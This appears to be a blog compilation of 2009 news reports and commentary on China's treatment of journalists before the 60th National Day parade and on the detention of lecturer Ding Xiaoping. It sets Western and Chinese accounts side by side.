On Friday afternoon, police cleared streets and office buildings in parts of the capital before parade floats, tanks and trucks bearing intercontinental ballistic missiles rumbled toward the square for the late-night rehearsal.
Some foreign media were told not to film and photograph the parade. AP Television News carried a live feed of military convoys, but China's Foreign Ministry asked it to stop.
A Foreign Ministry spokeswoman said she had not heard about the Kyodo case and said the ministry had not asked news agencies not to take photos of the parade. A woman at the information office of the Beijing Public Security Bureau said she had not heard about the case.
An employee at the front desk of the Beijing Hotel said the hotel had asked guests not to stand on the balconies to watch the rehearsal, but they could watch from inside their rooms. He did not give his name.
Kato said the Kyodo employees had been on the balcony to watch the rehearsal but had not taken pictures from there. He said they were inside the room when the men entered. The journalists returned to their office this morning, he said.
(The Nation) China's attacks on the media unacceptable. September 20, 2009.
This past Friday, Chinese authorities assaulted three journalists from Kyodo News, a Japanese news agency, in their Beijing hotel room. The three were reportedly kicked and their computers destroyed by pounding on the floor. The journalists were in the Chinese capital to cover the National Day rehearsals when authorities stormed into the room.
They chose the hotel so they could get a good view of the Tiananmen Square, the venue for the upcoming 60th National Day celebration scheduled for October 1.
On this day columns of tanks and assorted other military vehicles bearing missiles and an array of other military hardware will rumble down the Avenue of Heavenly Peace as they make their way towards the square.
Naturally, they wanted a good view. But the authorities thought they had violated a government order to all journalists that they were not permitted to photograph the rehearsal in spite of the fact that it was being conducted out in the open.
It is difficult to understand the logic of such an order. Was the Beijing government afraid that somehow pictures of the rehearsals will detract from the actual event? Or was it because they just didn't like the fact that somebody out there might be violating their order?
In this day and age where just about every mobile phone has a built-in camera, the idea of keeping such an enormous public event, rehearsal or not, a state secret is nothing less than absurd. We really hope that the authorities didn't beat up the Kyodo reporters and cameramen because they were working for a Japanese news agency.
For a country that has been billed as an emerging superpower, which is looking to strengthen ties with countries abroad, it is disturbing that the Communist giant does not understand that press freedom is the cornerstone of society. Beating up journalists, regardless of what outfit they are working for, is, indeed, a non-starter.
(AFP) Assault on reporters regretted. September 22, 2009.
CHINA on Tuesday expressed regret over the alleged assault in Beijing of three journalists from a Japanese news agency covering a National Day rehearsal, but said they had ignored media rules.
'No matter what reason there was, we regret that such an unhappy event happened,' foreign ministry spokeswoman Jiang Yu told reporters in response to a question on the incident involving three employees from Kyodo News.
The three journalists were covering a rehearsal Friday for a parade due to mark communist China's 60th anniversary on October 1, when authorities stormed into their hotel room and allegedly assaulted them, Kyodo reported. A reporter and two cameramen were kicked and forced to kneel, the Japanese news agency said, without specifying who had carried out the assault. Two computers were damaged in the incident.
Jiang said the reporters, whose identities were not revealed, did not comply with a notification asking news organisations not to cover the rehearsal. 'We notified international media in advance, hoping that you would not film or cover the rehearsal,' she said. 'But regrettably, Kyodo news agency did not comply,' she said.
Kyodo has said the foreign ministry issued such a regulation ahead of a parade rehearsal on September 6, but did not publish anything after that time.
(International Press Institute) Japan’s Kyodo News Agency Says Personnel Covering ‘National Day’ Parade Rehearsal Assaulted by Chinese Authorities in Beijing Hotel Room. By Barbara Trionfi. September 22, 2009.
The Foreign Correspondents’ Club of China said in a press release on its Website that more than a dozen of its members had reported receiving phone calls in recent weeks warning them not to photograph or interview people in or around Tiananmen Square in the run-up to the anniversary. However, no written regulations in this regard had been issued by the Foreign Ministry.
“The brutal manner in which these journalists were treated reinforces the fact that no matter how successful the economy, the Chinese government retains a deep-seated fear of the media’s democratic right to report free of harassment and intimidation,” said IPI Director David Dadge. “We urge the Chinese authorities to investigate the alleged assault and to bring any perpetrators to justice.”
The above reports are what the western audience read. What does the Chinese audience read?
Question: Last Friday, two reporters from our Kyodo News Agency were assaulted while gathering news on the National Day rehearsals. Although their attackers were in plain clothes, they wore badges which showed that they were part of the rehearsal team. Uniformed police officers backed them up. How will China protect the rights of reporters? Also our news agency did not receive notice that we cannot report on this National Day rehearsal. It seems that we received information different than what other foreign media got. There will be more National Day rehearsals this Saturday. What are the specific regulations on news gathering?
Answer (by Jiang Yu, Chinese Foreign Ministry spokeswoman): We can understand that the various foreign media want to make more reports on the activities related to the 60th anniversary of the founding of the republic. We have been coordinating with the various relevant parties to facilitate news gathering by various foreign media. It is normal international practice to impose certain emergency measures during major events as need arises. There is no question about that. Previously, we have asked the various foreign media not to film and report on the rehearsals of the National Day activities. Most of the media appreciated the point and cooperated. We are grateful to them. Regrettably, the Kyodo News Agency ignored our reminder. But no matter what the reason was, we regret this unhappy incident. We hope to work with the various foreign media on news gathering on the activities related to the 60th anniversary of the founding of the republic.
Question: Will the attackers be dealt with?
Answer: We have expressed the concerns of the Kyodo News Agency Reporter to the relevant departments in Beijing. We have not yet received feedback about this incident and therefore we cannot make any determination. Earlier, I have clearly stated our attitude. Previously, the Kyodo News Agency had received our notice. Our notice clearly stated that it referred to all rehearsals related to the National Day activities. Furthermore, I learned that the reporters stayed at Peking Hotel where the hotel management had posted notices on the verandahs that said the following "Do not break the sealed tapes; during the rehearsals, you must not enter the verandah to film." But the Kyodo News Agency reporters broke the sealed tape (on the glass door), snapped the metal wire (that locked the door) and entered the verandah to film. We hope that the various reporters will pay attention and abide the various rules and regulations of China. When they encounter the police, they should patiently communicate with them. If they need to, they can contact us immediately and we will provide assistance. Of course, I also hope that the public security personnel and armed police on duty in Beijing will treat the foreign media reporters amicably during the National Day period, enforce the law in a civilized manner and present a good image.
Question: Are the Kyodo reporters the only foreign reporters who violated the ban against covering the National Day rehearsals? How is the punishment for reporters who break the rules?
Answer: I remind everybody not to report on the National Day rehearsals, because we hope that your audience will experience more exciting moments during the activities that day. Most of the media understand and cooperate, for which we are grateful. As for the punishment for the reporters who broke the rules, we have no intention to do so. But we need to have good cooperation, trust and coordination. I think that all of you present here can appreciate the considerations of China.
A recent controversy is about whether the Hong Kong media acted properly by giving tremendous coverage to their reporters being assaulted.
On one side, veteran media worker Rose Luqiu wrote that reporters should not become the principal characters in the headlines, because this will indirectly cause the audience to ignore the original news that they should really be concerned about. Such was the situation in Urumqi.
On the other side, media workers Yang Wo and He Wenwen countered by saying the reporters were assaulted and then maligned. This caused an incident that occurred in a faraway place to become more immediate, so that the people of Hong Kong have become more interested in the situation in Urumqi.
I believe that such discussions are too abstract. You can see that if you actually read the news reports about Xinjiang in the various media.
Whether the reporters get beaten or whether they become the principals should not change the desire to see the Hong Kong media provide deeper coverage of the situation in Xinjiang.
I use the Wise service to search for Hong Kong media reports on the Urumqi situation since July 5, 2009 (which was the date of the first Xinjiang riot). Most of these reports cited secondhand news from sources such as Xinhua and Associated Press. The headline news on the Xinjiang riots in the Hong Kong newspapers with the highest circulations are based upon foreign news agencies. Apart from the several television and radio stations whose reporters were assaulted or detained, most Hong Kong newspapers did not send reporters out to Xinjiang. So it is a joke to decide whether the reporters or the Urumqi situation should be the principal subject of the news stories when the Hong Kong reporters were not even there.
Superficially, the situation of "the reporters taking over the news coverage" mentioned by Rose Luqiu exists. Let us do a rough tally. Between July 5 and September 4 (that is, after the Xinjiiang riots started but before the reporters were beaten), just over ten percent (250 out of 1,800 articles) mentioned the conditions of the Hong Kong reporters during their news gathering activities. Between September 4 and today (September 17), as many as one-third (250 out of more than 700 articles) were focused on the matter of the reporters being assaulted. This showed that the reporting on the situation in Urumqi itself decreased proportionately after the reporters were beaten.
A Hong Kong reporter who was sent to Xinjiang wrote a serious article about the hardships suffered by the Uighur people. But the day on which it was due to appear was also the day on which the Xinjiang Information Office smeared the Hong Kong reporters with "waving their hands" "to incite disturbance." His report which was full of "humanitarian concern" was cut down to just several hundred words to make way for the case of the reporters being smeared. In other words, when the reporters became the principals, the role of the original news is reduced. So it would seem that Rose Luqiu was right. But things are not that simple.
If we explore this further, then it turns out that even if the reporters were not beaten, that particular reporter would not have been sent out to Xinjiang and even that essay with several hundred words of "humanitarian concern" would not have been published. Why? Because this reporter did not even plan to go to Urumqi originally. In early September, there were syringe attacks in Urumqi and the situation became unstable. But many Hong Kong newspapers did not plan to send their reporters yet. According to a reporter who was eventually sent there, "my boss said to wait and see." On September 4, three Hong Kong television reporters were beaten in Urumqi and the video reached Hong Kong. Two newspapers and a television station sent reporters to Urumqi after that incident (or because they saw the scenes in which tear gas was used) to get live coverage.
During the two sets of Xinjiang riots (in early July and early September), not many Hong Kong media dispatched reporters to Urumqi. According to information, the electronic media were more complete (with TVB, ATV, Cable TV, NOW, Commercial Radio, RTHK). The print media were pathetically short. Apart from Wen Wei Po and Tai Kung Pao which have more human resources on the mainland, only Ming Pao, South China Morning Post and Asia Weekly (Yazhou Zhoukan) sent people there. Meanwhile, foreign media such as NHK TV and RFA sent people to gather news in Xinjiang.
The three Hong Kong newspapers with the highest circulation were absent in Xinjiang. Their readers were reading what their workers strung together from watching CCTV or reading Reuters and AP articles in their offices located in Hong Kong or Beijing. This kind of air-conditioned news reporting can hardly be in-depth news. Everybody knows that CCTV and the news agencies have distinct stances. The Uighur-Han conflict touches upon Xinjiang independence, and is therefore a highly politicized issue. When the reporters are not there themselves, they only have secondhand news. When the Hong Kong readers peruse these newspapers, they are only consuming "third-hand news."
Whether a media outlet will dispatch reporters to a remote area to cover news reflects how important they rate the incident. Airfare, food, hotel, transportation and insurance have to be paid for. There will be fewer reporters in Hong Kong. So unless it is really important news, the media outlet will not ask reporters to travel. In the Sichuan earthquake last year, all the newspapers competed to sent reporters to the scene. They produced stories that are big and small. It was said that one media outlet spent more than 1 million dollars on that story. Therefore, we were able to see relatively broad coverage, ranging from touching stories of individual heroism to the edgier reports on the tofu construction projects.
According to information, when the reporters were beaten, only the local electronic media were there and most Hong Kong newspapers did not have a presence in Urumqi. After the reporters were beaten, the incident turned serious. This caused the management at one or two newspapers and one television station to send reporters to the scene. Therefore the case of "reporters becoming the principal actors" drew more Hong Kong reporters to Xinjiang and resulted in more reports on the situation in Xinjiang. So He Wenwen was right. The beating of the Hong Kong reporters caused citizens to become more concerned about Xinjiang. But I believe that the beating of the Hong Kong reporters directly caused the management in at least three media outlets to send reporters to cover the situation in Urumqi. That is, the situation received greater exposure after the reporters were beaten.
The overall problem is that even after the reporters were beaten, most local media still had no plans to send reporters to Xinjiang. This showed a deeper problem in that the media management decided not to cover the Xinjiang situation for various reasons such as budgets or political leanings. This collective absence reflects the fact whether the reporters become the principal actors or not does not have a lot of impact on local media as to whether they will increase or decrease their coverage of the ethnic conflict in Xinjiang. Many media do not want to delve into this issue because they believe that the information from CCTV, Xinhua or the foreign news services are already adequate.
A Hong Kong reporter who was in Urumqi said that he was not satisfied with his reports. He said that he spent all day writing in his hotel, but when his reports got back to Hong Kong, his supervisor edited them down. His published reports were no different from news agency reports in their emptiness about the fears of the citizens and the mutual distrust among ethnic groups. I asked: "Did you write more in-depth reports?" (which is the news itself as Rose Luqiu said). He said: "I was thinking that I had only written about how the Han people felt. So I wrote a report of almost 2,000 words about the sense of oppression that the Uighur people felt. I gave a lot of heart into it. But as of today, that report has sunk like a pebble at the bottom of the ocean. My supervisor never told me why." He speculated that since the official position is that the Uighurs are thugs, his newspaper does not think it is right to publish a report that is sympathetic to the Uighurs.
This example shows that even without the case of reporters being beaten, the Hong Kong media outlets will not give too much airtime or print inches to the inside stories of the Urumqi situation. When newspapers don't sent reporters to the scene, it shows more or less that they don't want to spend time to uncover the public sentiments in Urumqi. Even if they sent people there, they can edit the reports down and harmonize the ethnic problems in Urumqi.
By magnifying the matter of the reporters being beaten and boiling the ethnic hatred down to news agency photos is to make light of the sensitive but awkward ethnic problems in Xinjiang. Rose Luqiu's request to return the role of principal player to the people of Xinjiang is too simplistic, as if this slogan alone will made the media become more concerned about the people of Xinjiang. This way of thinking ignores the complex and intricate political and economic factors in the practice of journalism.
(Digital Journal) China detains an activist, calling for human rights protection. By Wang Fangqing. September 22, 2009.
Over 100 students gathered in front of a local police station in Beijing last weekend, demanding release of the renowned activist Ding Xiaoping. Ding was said to be put into detention because the authorities are seeking absolute peaceful atmosphere before the National Day festivities on Oct. 1, reported the New York Times. The government has a reason. Ding,47, a business man and an influential purveyor of "self-perfection" , is a popular lecturer among young students across China. As a former organizer during the 1989 protests in Tiananmen Square, he has a long records of upsetting the government, including writing articles on his blog and making comments in his lectures regarding the dark sides of the ruling party, such as corruption and human rights.
(AsiaNews) Students take to the streets in Beijing to protest arbitrary arrest of their professor. September 21, 2009.
More than a hundred students demonstrated on Sunday outside the Haidian district police precinct in Beijing to demand the release of Prof Ding Xiaoping, a former leader of the pro-democracy student movement during the 1989 Tiananmen Square demonstrations (pictured: a street protest on 4 May 1989), which ended in thousands of peaceful demonstrators slaughtered by the military. He spent three years in prison for his participation in those protests. Students complain that the professor’s arrest was unmotivated and arbitrary.
Initially, police allowed some students to enter the precinct for talks, but later forced them to disperse, beating some in the process. The authorities have neither confirmed nor denied Prof Ding’s detention.
Ding, who is popular among students, “was taken away for political reasons,” on Saturday around noon, university graduate and former Ding student Yu Zhiwei told the South China Morning Post. “The police want to limit his activity,” he added.
As soon as they got wind of the arrest, students met in front of the police station to protest, which did again yesterday. “The students will not tolerate seeing their teacher being bullied by police,” Yu said.
Many analysts believe he was detained to prevent him from posing a threat to the upcoming celebration of the sensitive 60th anniversary of the founding of the People’s Republic of China.
For the past several months, the authorities have been removing or sending away Beijing dissidents or human rights activists, perhaps fearing they might take part in public protests at a time when the world’s attention will be on China with many foreign dignitaries attending.
(NowPublic) Chinese Students Protest Arrest of Dissident Ding Xiaoping. By Barbara McPherson. September 20, 2009.
Chinese students stage a protest over the arrest and disappearance of Ding Xiaoping, a lecturer at a university in Beijing's suburbs. Ding Xiaoping was part of the student protest movement that saw a huge demonstration in 1989 in Tianamen Square. The authorities cleared Tianamen Square in a brutal show of force.
"Nearly a hundred university students gathered outside a Beijing district police bureau on Sunday to demand the release of a lecturer - a former leader of 1989 Tiananmen pro-democracy demonstrations - who they believe is being held unfairly by authorities."
Many believe that the arrest and disappearance of Ding Xiaoping is part of an attempt to round up dissidents as the government leads up to celebrations marking the 60th anniversary of the founding of the People's Republic of China.
"Several activists were taken away before and during last year's Beijing Olympics as part of efforts to clear the city of dissent. Authorities commonly do such sweeps before and during sensitive periods to curb potential protests."
(Chronicle of Higher Education) Chinese Officials Seek to Muffle Student Protest Over Lecturer's Detention September 22, 2009.
In the wake of rare demonstrations over the detention of a charismatic professor, Chinese university administrators visited student protesters on Monday and asked them to pledge not to cause more trouble, The New York Times reported today. The professor, Ding Xiaoping, who earlier spent three years in prison for his role as a student organizer in the 1989 Tiananmen Square protests, has recently built a career as a popular lecturer at universities around China. The protesters believe he is being detained as Beijing cracks down on dissent ahead of the 60th anniversary of the Communist revolution, on October 1.
(Irish Times) Chinese students protest after lecturer arrested. By Clifford Coonan. September 22, 2009.
More than 100 university students staged protests outside a Beijing district police station at the weekend to demand the release of one of their lecturers, who was a former leader of 1989 Tiananmen pro-democracy demonstrations and who his students believe is being held illegally by authorities.
On Saturday and Sunday, students protested outside the public security bureau in Beijing’s western Haidian district to call on police to release Ding Xiaoping, a lecturer at several universities.
Mr Ding was part of a group of Peking University student leaders involved in pro-democracy demonstrations focused on Tiananmen Square 20 years ago, and he was later jailed for nearly three years for his involvement.
Students said they believed their teacher was locked up to muzzle him ahead of the forthcoming 60th anniversary of Communist rule in China, a highly sensitive event.
An ex-student of Mr Ding’s, who gave his surname as Yu, said he believed the incident was politically motivated because Mr Ding had been involved in the pro-democracy movement.
The preparations for the anniversary parade are reaching fever pitch. On Friday, large parts of the city were shut down to make way for tanks and rocket launchers rumbling through the streets, and yesterday saw squadrons of jets and helicopters shooting through the skies trailing smoke as part of rehearsals for the event.
The 60th anniversary is a politically fraught time, during which nothing can be left to chance, as it is the Communist Party’s main platform for its achievements over 60 years. Activists and petitioners are being rounded up, just as they were before the Olympics last year and are before the meeting of the annual parliament, the National People’s Congress.
On Thursday last week, Mr Ding became involved in an argument with some street vendors after his car caused some damage to a stall. He was surrounded by the stall-holders and things came to blows. Mr Ding went to the school after the incident, then told the police about what had happened afterwards. The following Saturday he was arrested. [Emphasis added]
“We students have not heard from him since then. So on September 12th, over 100 students went to the police bureau in Haidian District to protest. Some of our students were taken into the police station and were beaten,” said Mr Yu. “Ding Xiaoping is a good teacher. He is very responsible, very concerned about young people,” he added.
Another of Mr Ding’s graduates, surnamed Liu, said that this should have been a simple civil dispute, but instead the teacher was being kept incommunicado. “Since our teacher was detained, they do not allow us to meet or talk to him. On Sunday, our teacher called one of our students, and said he had been beaten by officials of the Public Security Bureau. Since then we have not heard anything from him. We can only wait to see what will happen next,” she said.
But here is a Hong Kong newspaper report:
(Oriental Daily) September 23, 2009.
According to Xinhua, Beijing dissident scholar Ding Xiaoping whose detention led to many students protesting at the police station had been detained for intentionally injuring people. The report pointed out that Ding Xiaoping was driving his car in the Haidian district where his car hit a vegetable vendor named Zhang. The two had an argument, whereupon Ding picked up a chair to attack Zhang. Zhang was injured in the head and received 13 stitches at the hospital.
And here is what people in China are actually reading:
(China Daily) September 24, 2009.
A man has been detained for intentional injury in Beijing, local police said.
Ding Xiaoping, 46, allegedly attacked a greengrocer with a stool in a brawl on Sept 17 in Haidian district after the car he was travelling in destroyed lotus roots belonging to a vendor surnamed Zhang, when it was passing a roadside market in Nanying village near Fragrant Hill.
Ding hit Zhang on the head with the stool he got from a nearby booth, according to police officials. Zhang received 13 stitches.
(Qianlong) September 28, 2009.
During a minor dispute with a vegetable seller, the unemployed citizen Ding Xiaoping ignored the pleas of his companions and used a round stool to hit the head of the vegetable seller causing a head injury that required 13 stitches. Recently, the attacker Ding Xiaoping got his just desserts, as he has been criminally detained by the Haidian public security bureau for intentional injury.
Yesterday morning this reporter met with the injured vegetable seller Zhang Heng in a barren bungalow. The stitches on his head have not been removed yet. His wound was covered with gauze and he has to get medication regularly. His wife said that the doctor did not want him to get out of the hospital so soon, but they left anyway. They also left their previous residence in Xiangshan. Zhang Heng and his wife were farmers in Huaiyang county, Nanzhoukou city, Henan province. In 1992, they came to Beijing to sell vegetables. They get up at 2am or 3am each morning to go to the wholesale market to buy vegetables which they sell at various locations around Beijing.
Zhang Heng recalled the incident that day and he was still frightened. At just past 5pm on September 17, it was busy as usual as the vendors clogged the entrance into Xiangshan Nanyingkou village, Haidian district, Beijing. As usual, Zhang Heng sat on the ground and shouted out to the pedestrians to sell his vegetables. This was a somewhat narrow street and car drivers need to be fairly careful coming down.
At that moment, a purplish red Zhonghua car came down the street from north to south. Zhang Heng heard a grinding sound and saw that his lotus roots were crushed by the wheel of the car. So he shouted, "You ran over my vegetables!" But the car did not stop. Zhang Heng was unhappy. He picked up some crushed lotus roots and threw it at the car window, yelling, "Not even a word of sorry."
The car stopped and the driver came out and told Zhang Heng, "Brother, I am really sorry." Zhang Heng did not think it was a big deal anyway so he waved his hand at the driver, "It's nothing. Brother, you just go ahead."
At that moment, a middle-aged man sitting next to the driver got out of the car. Several other people in the backseat also got out. The middle-aged man told Zhang Heng, "Do you believe that I am going to beat you?" Zhang Heng did not think that the situation was serious, so he continued to sit on the ground and said, "What for?" The driver told the middle-aged man, "Forget it, forget it." The middle-aged man called the driver an "idiot." Heading straight towards Zhang Heng, the middle-aged man picked up a round-top stool from a roadside food stall and swung it right at Zhang Heng's head. Zhang Heng fell down on the ground holding his head which was bleeding profusely. His wife Jia Li was shocked by what happened. She grabbed her husband's head and screamed, "Why are you hitting people?"
The other vendors quickly surrounded the middle-aged man. Someone used a mobile phone to call the police. After being taken down by the police to the Xiangshan police station, Ding Xiaoping admitted that he had attacked Zhang Heng. Ding Xiaoping has been criminally detained by the Haidian public security bureau on suspicion of intentional assault.
(Associated Press) Beijing students protest teacher's detention. September 21, 2009.
Nearly a hundred university students gathered outside a Beijing district police bureau Sunday to demand the release of a lecturer — a former leader of 1989 Tiananmen pro-democracy demonstrations — who they believe is being held unfairly by authorities.
It was the second day that students turned up at the public security bureau in the capital's Haidian district to call on police to release Ding Xiaoping, who lectures on various topics at several universities, said Yu Zhiwei, who joined the students Sunday.
It was not immediately possible to confirm Ding's detention. A man who answered the phone at the front desk of the Haidian police bureau said he had heard of an incident concerning a person named Ding Xiaoping, but did not have details and hung up when further questions were asked. Phone calls to the police bureau's information department rang unanswered.
Yu said Ding was taken away on Saturday afternoon by police and the students believed it was to prevent him from posing a threat to the upcoming celebration of the sensitive 60th anniversary of the founding of the Communist republic.
"He was taken away for political reasons. The police want to limit his activity," Yu said in a telephone interview after the students were dispersed. Yu, a 24-year-old recent graduate of the Beijing University of Technology, attended lectures by Ding when he was in college. "The students will not tolerate seeing their teacher being bullied by police," he said.
Yu said many of the protesters were allowed into the police building but some students and police got into heated arguments. He said he heard that police beat five or six of the protesters, but none was seriously injured.
Ding was among a group of Peking University student leaders involved in pro-democracy demonstrations in Tiananmen Square in 1989. He was later jailed for nearly three years for his involvement. The protests were halted by a security crackdown on June 4, 1989, in which hundreds and possibly thousands died when tanks and troops fought their way into the central Beijing square.
Several activists were taken away before and during last year's Beijing Olympics as part of efforts to clear the city of dissent. Authorities commonly do such sweeps before and during sensitive periods to curb potential protests.
(New York Times) Beijing students pressed to stop protesting lecturer's detention. By Andrew Jacobs. September 21, 2009.
After at least 100 students this weekend protested the detention of a popular lecturer and self-help guru, a number of them said Monday that they had been visited by officials from their respective universities and persuaded to sign statements promising not to make any more trouble. The students had gathered outside a local police station to demand the release of Ding Xiaoping, who has developed a following at universities across the country. Mr. Ding, whose name is very similar to the former Communist leader’s, is an entrepreneur, inventor and charismatic purveyor of “self-perfection” who spent nearly three years in jail for his role as a student organizer during the 1989 pro-democracy protests in Tiananmen Square.
A man who answered the telephone at the Haidian District Public Security Bureau in northwest Beijing, where the students briefly tussled with the police, denied that any protests had taken place over the weekend. He also denied that Mr. Ding was in police custody.
Mr. Ding, 47, has a multitude of young fans, but plenty of detractors describe him as a charlatan. In 2007, the New Century Weekly news magazine disputed his résumé, which includes claims that he has taught 6,000 courses. Mr. Ding has a long record of upsetting the authorities. In the spring of 1989, he helped set up so-called democratic salons where, according to reports at the time in Xinhua, the official news agency, “leading advocates of bourgeois liberalization” were invited to speak to students. After the military crackdown on the Tiananmen Square demonstrations in June of that year, he was convicted of “counterrevolutionary behavior” for his role in organizing a federation of student unions that helped lead the protests in the heart of the capital.
Despite nearly three years in prison, in 1995 he joined two dozen other dissidents in signing a petition calling on the government to investigate corruption and embrace human rights. In many of his lectures and on his blog, Mr. Ding takes thinly veiled swipes at the ruling official Communist Party.
If you know nothing about Mr. Ding and you read this NYT article, you may come away with the impression that Mr. Ding is a democracy activist who is being persecuted by the Communists. For the sake of being fair and balanced, the New York Times noted that "in 2007, the New Century Weekly news magazine disputed his résumé, which includes claims that he has taught 6,000 courses."
For your edification, here are excerpts from the New Century Weekly report:
(New Century Weekly) Exposing secrets about the brainwasher Ding Xiaoping. By Tang Yong.
This is an extraordinary teacher with a group of special students with an unbelievable student-teacher relationship.
The name of the teacher is Ding Xiaoping and his students are mostly university students. "My parents gave me my physical body but it is teacher Ding who gave me my soul and my thoughts," one student said this about the influence of Ding Xiaoping on her.
What kind of teacher gains such adoration and loyalty from his students? We became curious.
"An encyclopedic scholar earns masters and doctorate degrees in engineering, philosophy, physics and medicine from Tsinghua University, the Central Ethnic University, Peking University and China Medical Sciences Academy. He is a professional guest lecturer at many universities on engineering, physics, philosophy, economics and management. He has taught more than 130 courses and could teach more than 600 course." Such is the genius-class person Ding Xiaoping. As you expect, this is a bunch of lies.
We paid attention to Ding Xiaoping. But we should pay more attention (or we should really be paying attention) to the students who enabled Ding Xiaoping to be deified continually.
"The American assistant secretary of state asked to meet with me." "The Central Intelligence Agency (USA) is very interested in every move that I make." At 25 years of age, "the Shangdong provincial Communist Party committee and the Chinese Academy of Science jointly nominated me to become the mayor of Yantai city." His scholarship is said to be unmatched in the history of mankind. Any rational and informed person will have doubts about such a person who is maniacal to the point of absurdity.
"He is of poor quality, but he is bold enough to lie without any fear. This is the first time that I have ever come across someone like this." This was how Sima Nan assessed him.
Yet his students resolutely defend him.
In June 2007, a recruitment poster for the Fourth Annual Chinese University Self-imperfection Summer Camp began to show up on all the bulletin notice boards of university campuses in Beijing. The same announcement can also be seen at the university BBS and forums on the Internet.
"Early morning: Practice Taichi and speak English in the morning breeze to the sunrise; morning: discuss history with famous teachers by the river; afternoon: debate current affairs with fellow students on the mountain; evening: watch movies under the moonlight."
This reporter dialed the number on the flyer and reached a student named He at the Central Ethnic University. She was the one responsible for accepting application and collecting fees.
She said that the summer camp was jointly organized by the "Capital University Association for Studying <Dream of the Red Chamber>" and the "21st Century Beijing Academy of Pharmacological Sciences."
"This Capital University Association for Studying the Dream of the Red Chamber is a member association of the Chinese Network for Studying <Dream of the Red Chamber>. This research institute is actually a company." She said.
This summer camp was unable to provide a contract and it will not issue any formal invoice. It was only able to provide an ordinary receipt. On the receipt, there were no official stamps from the two units named above. Upon verification, the Capital University Association for Studying <Dream of the Red Chamber> is not a registered entity at the Civic Affairs Bureau.
She also sent over a detailed description of the summer camp, which included a list of invited scholars. "The main teacher is Ding Xiaoping. He is the main speaker at this summer camp. I have studied with him for more than two years. He is the greatest person in the world in terms of character and learning. I am from Hunan province. In my life, I adore Mao Zedong first and foremost and Ding Xiaoping next."
"You can join too. There is a fee payment schedule that is suitable for people who have a work. You can pay on a daily basis. You can attend as many or as few days as you wish." She said.
"I am more concerned that you wouldn't want to leave when the time comes!" She said. "Teacher Ding is just too wonderful. I have often told myself that my life was a waste before I met teacher Ding. Teacher Ding also taught us about the theory and practice of romance. It can be said that my parents gave me my physical body but it is teacher Ding who gave me my soul and my thoughts."
After paying a 30 yuan application fee, the reporter went to the camp site outside Beijing on the morning of July 18. This was a decrepit vacation village. The notice on boat rental was dated 1995. The water level has fallen down to the point it was no longer possible operate the boat. So the boat was used by the vacation village's boss to rear chickens and ducks.
On the slope, there was a bungalow of about 40 square meters in area. It served as the dormitory for the twenty or so female camp members. The shed outside was the kitchen, which has four water taps. Anyone new camp member must put away their luggage and help out. Some camp members have been there for more than 10 days already. They have dug out temporary latrines, temporary bathing areas as well as army tents that can accommodate more than 20 people.
On the evening of July 18, the summer camp opened officially. The camp members introduced themselves. Ding Xiaoping began to talk about his "system of philosophy which is even more perfect that those of Marx and Hegel."
"You should know that the truth may sometimes sound very absurd. After you listen to it, you may feel that it is completely different from the wrong ideas that you used to hold and therefore you walk away. That would be no loss to me. You are the one who loses." Ding Xiaoping said.
"You must trust the teacher. Also, this summer camp invites you to fall in love. But I ask that anyone who falls in love must report to me." Ding Xiaoping said. "I have studied romance in detail. I often say that 'everybody has the right to make a statement to a member of the opposite sex for the first time, and everyone's first statement to a member of the opposite sex is obliged to be accepted."
When he said that, some students began to look perplexed.
"In 1984, I established my own system of philosophy. I am certain that it will be written into this history of human social development. All other systems are flawed, but no flaws have yet been found in my system. I hope that you can surpass me later. But you won't the ability to do so for the next twenty years. So you should listen more to me."
A female student named Xiao Xing asked him several questions. That evening, the political commissar invited her to have a "chat" as several veteran camp members tried to assist her to understand what professor Ding thinks and says.
She did not know that this was just the beginning. On the next day, there would be snooping on her notebook and SMS records in order to understand her "state of mind."
The women's dormitory was filled with dust and the blankets reeked from dampness. On the morning of July 19, a female members wanted to leave and another female also showed the same inclination. During the lunch break, camp leader Xiao Sun reported to Ding Xiaoping: "Can the female students move to the grass huts where the living conditions are better?"
Ding Xiaoping's expression changed suddenly: "This type of person should be let go. They take themselves too seriously! They are afraid of hardship. Why kind of person is that! We won't miss an unemployed person like that! There are more than 10 million people like you in China who just graduated! Many people cannot find jobs. People like that can only become prostitutes! Even if you do better, you are just selling yourself in some other way other than prostituting yourself!"
The students did not say anything. Ding realized that he had just lost control of his emotions, so he shut up. Apart from calling students who quit "prostitutes," he also announced the "true identities" of those who quit the camp to everyone.
"In 1987 (note: according to his resumé, he was a first-year graduate student at Tsinghua University), the Shandong provincial Communist Party and the Chinese Academy of Sciences jointly nominated me to become the mayor of Yantai city."
"Later, Deng Xiaoping sent a representative to ask me to become a State Council vice-premier," said Ding Xiaoping gleefully.
"Who contacted you? What did he say?" The reporter asked him.
"You wouldn't know the representative even if I told you his name. He said that Ding Xiaoping has so much talents that he can at least become a Minister." Ding Xiaoping brought up those wonderful memories with a smile. "At least a minister ... doesn't that mean that I could be a State Council vice-premier?"
The students were enthralled and sighed. These young people who lack social experience and have no knowledge of the state personnel policies and procedures were totally convinced by this smart-talking, knowledgeable middle-aged man. Some of them are determined that they will defend him under any circumstances.
That afternoon, Ding Xiaoping saw that the reporter was not as enthusiastic as the other students. So he used his standard technique to attacking what you regard as your most important identity or experience.
"What questions do you have? I have researched the profession of journalism as well." Ding Xiaoping asked gently.
"I don't have any questions."
"Journalism is one of the most disgusting professions right now. Earlier this year, the American imperialists spend USD 300,000 to buy off 30 tabloid newspapers to attack me together. You should not think that this is a lot of money. They have plenty of money and they can afford it!" Ding said.
"I don't have any political power. If I have political power, I would have thrown all those reporters who wrote about the water seepage at the Summer Palace lake into jail. They have prevented a lot of normal activities from moving forth!" Sometimes, Ding Xiaoping would explode in the midst of a chat.
During the day on July 19, all camp members participated in labor. They erected two more tents on the pebble stones for the camp members yet to arrive. The temperature was over 36 degrees that day. The skin of many people was peeling off from the exposure to the sun.
According to a veteran camp member: The summer camp promotional materials did not mention anything about manual labor, because they did not want to scare people away.
Because there were not enough water taps, the male camp members went to bathe in the river that evening.
Inside the tents, many people slept on the composite boards. There were scorpions, centipedes, lizards and flies, but the gadflies wrought the worst damage.
On July 20, this reporter and Xiao Xing left the camp. Ding announced to the camp members: "The two people who just left are agents of the Central Intelligence Agency." Several days later, he finally found out the true identity of this reporter. He announced to the camp members: "The guy is a special agent and the woman is his mistress."
